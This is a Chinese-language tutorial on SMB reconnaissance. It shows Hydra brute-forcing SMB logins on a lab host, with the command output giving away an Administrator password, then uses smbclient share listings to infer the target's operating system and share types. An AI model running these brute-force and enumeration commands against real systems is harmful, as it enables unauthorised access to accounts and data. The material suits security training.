网络扫描:利用SMB服务
服务器信息块(Server Message Block,SMB)是一种IBM协议,用于在计算机间共享文件、打印机和串口等。SMB协议可以用在TCP/IP协议之上,也可以用在其他网络协议(如NetBEUI)之上。本文介绍利用SMB服务提供的共享文件夹信息,来判断目标主机的操作系统类型和磁盘信息等。
SMB是一种客户机/服务器、请求/响应协议。通过SMB协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外,通过SMB协议,应用程序可以访问远程服务端的文件,以及打印机、邮件槽和命名管道等资源。
1. 暴力破解SMB服务
如果要利用SMB服务来获取信息的话,则需要知道该服务的登录用户名和密码。如果使用Samba构建SMB服务的话,默认安装后,将创建一个名为root的Samba用户,密码为空;如果使用Windows自带的SMB服务的话,则需要提供对应的用户名和密码。下面介绍使用Hydra工具暴力破解SMB服务的方法。
Hydra是一款非常强大的开源密码攻击工具,支持多种协议的破解,如FTP、HTTP、SMB等。其中,用于暴力破解SMB服务的语法格式如下:
Hydra -L -P [server IP] smb
使用Hydra工具暴力破解Windows自带的SMB服务。执行命令如下:
root@daxueba:~# hydra -L user.txt -P pass.txt 192.168.19.131 smb
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2021-08-06 10:12:41
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 156 login tries (l:13/p:12),~156 tries per task
[DATA] attacking smb://192.168.19.131:445/
[445][smb] host: 192.168.19.131 login: test
[445][smb] host: 192.168.19.131 login: Administrator password: daxueba
1 of 1 target successfully completed, 2 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2021-08-06 10:12:43
从输出的信息中可以看到,通过使用Hydra工具找到了一个有效的用户名和密码,用户名为Administrator,密码为daxueba。一般情况下,Windows系统都会允许Administrator用户访问所有资源。所以可以使用-l(小写)选项直接指定暴力破解该用户的密码。
root@daxueba:~# hydra -l Administrator -P pass.txt 192.168.19.131 smb
2. 判断操作系统类型
在Linux系统中,提供了一款名为smbclient的客户端工具,可以用来访问SMB服务中的共享文件。当成功访问到SMB共享文件后,即可看到共享文件名、磁盘类型及描述信息。通过对这些信息进行分析,则可以判断出目标主机的操作系统类型及磁盘类型。smbclient工具的语法格式如下:
smbclient -L -U [username]
访问Linux系统中的SMB服务。执行命令如下:
root@daxueba:~# smbclient -L 192.168.19.130 -U root
Enter WORKGROUP\root's password:
输入SMB服务用户登录的密码将显示如下信息:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
share Disk Share folder
IPC$ IPC IPC Service (Samba 4.9.2-Debian)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
从以上输出信息中可以看到目标SMB中共享的文件。其中,Sharename表示共享文件名、Type表示硬盘类型、Comment是共享文件的描述。从以上的Comment列可以看到共享的IPC服务版本为Samba 4.9.2-Debian。由此可以说明,该目标主机的操作系统类型为Linux。如果目标主机的操作系统是Windows的话,则文件名列将显示共享文件夹的盘符。具体如下:
root@daxueba:~# smbclient -L 192.168.19.131 -U Test
Enter WORKGROUP\Test's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk 远程管理
C$ Disk 默认共享
E$ Disk 默认共享
IPC$ IPC 远程 IPC
share Disk
Users Disk
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
从以上输出结果的文件名中可以看到,默认共享的磁盘有C和E盘。只有在Windows系统中,文件夹才是以盘符形式来划分磁盘的。由此可以判断出,该目标主机的操作系统类型为Windows。
3. 判断磁盘类型
下面同样通过分析目标SMB服务的共享文件夹信息,来判断共享的磁盘类型。具体如下:
root@daxueba:~# smbclient -L 192.168.19.130 -U root
Enter WORKGROUP\root's password:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
share Disk Share folder
IPC$ IPC IPC Service (Samba 4.9.2-Debian)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
从以上输出的信息中可以看到,Type列有两种值,分别是Disk和IPC。其中,Disk表示硬盘;IPC表示命名管道。由此可以说明,share共享文件是硬盘中的一个文件。
